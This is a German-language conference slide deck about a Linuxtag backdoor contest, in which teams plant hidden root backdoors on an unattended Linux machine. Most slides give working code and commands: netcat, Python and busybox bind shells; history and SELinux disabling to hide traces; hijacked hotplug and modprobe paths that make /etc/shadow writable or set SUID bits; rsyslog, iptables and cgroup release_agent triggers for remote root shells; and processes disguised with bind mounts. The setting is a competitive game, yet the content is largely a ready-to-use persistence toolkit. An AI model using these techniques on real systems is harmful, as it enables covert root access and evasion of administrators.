Backdoors mit Bordmitteln Vol.c3d2

. . . und wie kann man das triggern?

Christian Perle

7. September 2013

Wie wo was?

- Hackingcontest auf dem Linuxtag (müsste eigentlich *Backdoor Contest* heißen)
- Zu gewinnen gibt es Ruhm, Ehre und nette Gadgets
- Gesponsert von. . . (aktuell kein Sponsor)

Situation

- Admin verlässt seinen Arbeitsplatz und hat eine Rootshell offen gelassen
- Ein paar Linuxkundige stellen lustige Dinge^{TM} mit dem System an
- Admin merkt, dass etwas nicht stimmt

Warum Bordmittel?

Contest-Regeln

- Meistens Default-Desktopinstallation
- Distribution ist vorher nicht bekannt
- Kein Zugang zum Internet
- Keine Datenträger außer Papier erlaubt
- Kein Reboot erlaubt

Ablauf

Drei Phasen, jeweils 15 Minuten

1. Die beiden Teams setzen sich an die vorbereiteten Rechner mit offnener Rootshell und bauen ihre Backdoors ein.
2. Die Teams tauschen die Plätze und schlüpfen in die Rolle des Administrators, der die eingebauten Backdoors sucht. Für gefundene und entfernte Backdoors gibt es Punkte.
3. Die Teams tauschen nochmal die Plätze und demonstrieren ihre verbliebenen Backdoors in Aktion. Funktionierende Backdoors geben nochmal Punkte.

„Sicherheitsvorkehrungen“

- `.bash_history` auf `/dev/null` symlinken
- Schreiben von `.viminfo` deaktivieren
- Auf SELinux-Systemen enforcing mode ausschalten
  `setenforce 0`

Kein C-Compiler, was nun?

- Konfigurationsdateien ändern
- Skripte oder andere Mechanismen finden, die mit root-Rechten ablaufen, jedoch durch Nutzeraktionen triggerbar sind
- netcat is your best friend
  `nc -l -p <port> -e /bin/sh`
- C-Quelltexte einhacken dauert oft zu lang
  (15 Minuten sind verdammt wenig Zeit...)

netcat fehlt, was nun?

Remote shell helper in Python (`/sbin/ncsh`)

```
#!/usr/bin/python
import os
from socket import *

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)
fd.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
fd.bind(("",2400 + os.getpid() % 10))
fd.listen(1)

sock, remote = fd.accept()
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.execl("/bin/bash", "bash")
```

netcat fehlt, was nun? *contd.*

- Busybox to the rescue!
- Multicall-Binary für Minimalsysteme und initiale Ramdisks
- Normalerweise unterschiedlich benannte Symlinks auf ein Binary. Der Name des jeweiligen Busybox-Applets darf auch als erstes Argument übergeben werden.

```
busybox nc -l -p <port> -e /bin/sh
```

hot tty

Das Benutzen von `/dev/tty42` soll die Datei `/etc/shadow` für alle schreibbar machen

- `/dev/tty42` für alle schreibbar machen
- Verbiegen des `hotplug`-Pfads auf ein eigenes Skript
- Skript ruft passendes `chmod`-Kommando auf, wenn im Hotplug-Event die Minor-Gerätenummer auf 42 gesetzt ist

hot tty *contd.*

Ersatz für `/sbin/hotplug` (`/lib/libhot.so`)

```
#!/bin/sh
if [ "$MINOR" = "42" ] ; then
  chmod 666 /etc/shadow
fi
```

Skript als Hotplug-Helper eintragen

```
# chmod 666 /dev/tty42
# echo /lib/libhot.so > /proc/sys/kernel/hotplug

$ echo foobar > /dev/tty42
$ vi /etc/shadow
```

transform to root

Der Aufruf von `ip xfrm policy` als unprivilegierter User soll das `chroot`-Binary auf SUID root setzen

- Der Kernel lädt bei obigem Kommando das Modul `xfrm_user` nach (Aufruf von `modprobe` direkt durch den Kernel)
- Verbiegen des `modprobe`-Pfads auf ein eigenes Skript
- Skript prüft auf den Modul-Alias `net-pf-16-proto-6` und setzt beim Match das SUID-Bit von `chroot`
- Gibt es keinen Match, überlagert sich das Skript mit dem echten `modprobe`

transform to root *contd.*

Ersatz für `modprobe` (`/var/log/apt/.pkg`)

```
#!/bin/sh
case "$@" in
  *net-pf-16-proto-6*)
    chmod 4755 /usr/sbin/chroot
    ;;
  *)
    exec modprobe "$@"
    ;;
esac

# echo /var/log/apt/.pkg > /proc/sys/kernel/modprobe

$ ip xfrm policy
$ /usr/sbin/chroot / /bin/bash -p
```

InSecure Shell

Zugriff auf den SSH-Server mit einem SSH-Client soll eine Rootshell an einen hohen Port binden

- Blacklist-Datei für schwache OpenSSL-Keys gegen Gerätedatei austauschen
- Lesender Zugriff auf diese Gerätedatei triggert den Kernel, das zur Major/Minor-Nummer gehörende Kernelmodul zu laden (Aufruf von `modprobe` direkt durch den Kernel)
- Modulkonfiguration `/etc/modprobe.d/aliases.conf` so anpassen, dass anstelle des Kernelmoduls das Kommando `ncsh` ausgeführt wird

InSecure Shell *contd.*

```
# cd /usr/share/ssh
# mv blacklist.DSA-1024 blacklist.DSA-1024.
# mknod blacklist.DSA-1024 c 242 0

# echo "alias char-major-242-* nix" \
  >> /etc/modprobe.d/aliases.conf
# echo "install nix ( /sbin/ncsh & ) &" \
  >> /etc/modprobe.d/aliases.conf

$ ssh bla@<target_ip>
$ nc <target_ip> 240[0-9]
```

magic idle timer

Ein „magisches“ UDP-Paket soll eine Rootshell an einen hohen Port binden

- Eine `iptables`-Regel reagiert auf das Paket und benutzt das IDLETIMER-Target (Timerwert in sysfs sichtbar)
- Ein Shellskript prüft zyklisch den sysfs-Eintrag. Ist der Timerwert ungleich Null, wird die Rootshell gestartet.
- Das Skript soll als unverdächtiger Dienst getarnt werden

magic idle timer *contd.*

Timer listener (`it`)

```
while :
do
  read t < /sys/class/xt_idletimer/timers/fwstat
  [ "$t" != "0" ] && busybox nc -l -p 7878 -e /bin/sh
  read -t 2 < /dev/tty22
done
```

magic idle timer *contd.*

```
# iptables -t raw -A PREROUTING -p udp --dport 7878 \
  -j IDLETIMER --timeout 10 --label fwstat

# mount --bind /bin/bash /usr/sbin/bluetoothd
# mount --bind it /etc/bluetooth/main.conf
# ( /usr/sbin/bluetoothd /etc/bluetooth/main.conf & ) &

# umount -l /usr/sbin/bluetoothd
# umount -l /etc/bluetooth/main.conf
# rm it

$ echo x | nc -u <target_ip> 7878
$ nc <target_ip> 7878
```

rsyslog me in

Ein „magisches“ Syslog-Paket soll eine Rootshell an einen hohen Port binden

- Rsyslog umkonfigurieren, so dass Remote Syslog (514/udp) empfangen wird
- Log-Template definieren, das bei Log-Nachrichten von Facility `local0` mit Loglevel `alert` ein externes Skript (`/usr/bin/rlog`) ausführt
- Das Skript startet (mal wieder :-)) den `ncsh`-Helper

rsyslog me in *contd.*

Anpassungen in `/etc/rsyslog.conf`

```
--- rsyslog.conf.orig
+++ rsyslog.conf
-#$ModLoad imudp
-#$UDPServerRun 514
+$ModLoad imudp
+$UDPServerRun 514

 $FileGroup adm
 $FileCreateMode 0640
+$template std,"def"

 $WorkDirectory /var/spool/rsyslog
+local0.alert   ^/usr/bin/rlog;std
```

rsyslog me in *contd.*

Template-Skript (`/usr/bin/rlog`)

```
#!/bin/sh
( /sbin/ncsh & ) &

$ echo "<129>got root?" | nc -u <target_ip> 514
$ nc <target_ip> 240[0-9]
```

kurz und frech

Unprivilegierte Nutzer sollen mit `mount` das Rootpasswort ändern können

- Kopie von `/etc/shadow` erzeugen
- Den Passwort-Hash von `root` in der Kopie auf einen bekannten Wert setzen
- Die Datei `/etc/fstab` passend ändern...

kurz und frech *contd.*

```
# cp -a /etc/shadow /usr/lib/s
# vi /usr/lib/s
root:42ZxMOSIe5ptw:...
# vi /etc/fstab
/usr/lib/s /etc/shadow none bind,user,noauto 0 0

$ mount /etc/shadow
$ su
Password:          (xxx eingeben)
```

agent r

Fehlgeschlagene Logins auf den Konsolen `tty4-6` sollen eine Rootshell auf `tty10` starten.

- Die PIDs der `getty`-Prozesse von `tty4-6` in eine *Control Group* (cgroup) eintragen
- Das `notify_on_release`-Flag für diese cgroup setzen
- Shell-Starter als `release_agent` eintragen

Shell-Starter (`/usr/lib/ra`)

```
#!/bin/sh
exec /bin/bash </dev/tty10 >/dev/tty10 2>&1
```

agent r *contd.*

```
# mount -t cgroup -o cpu cg /sys/fs/cgroup/
# cd $_
# mkdir p
# echo PID_GETTY_TTY4 > p/tasks
# echo PID_GETTY_TTY5 > p/tasks
# echo PID_GETTY_TTY6 > p/tasks
# echo 1 > p/notify_on_release
# echo /usr/lib/ra > release_agent
# cd
# umount /sys/fs/cgroup/
```

immortal shell

Eine Rootshell auf Konsole `tty16` soll nach dem Beenden sofort neu gestartet werden. Der Neustart-Mechnismus soll *nicht* erkennbar sein.

???

immortal shell *contd.*

Shell-Restarter (`/usr/lib/libb.a`)

```
#!/bin/sh
P=/mnt
mount -t cgroup -o blkio cg $P
mkdir $P/p
echo $$ > $P/p/tasks
echo 1 > $P/p/notify_on_release
echo /usr/lib/libb.a > $P/release_agent
umount $P
exec /bin/bash </dev/tty16 >/dev/tty16 2>&1
```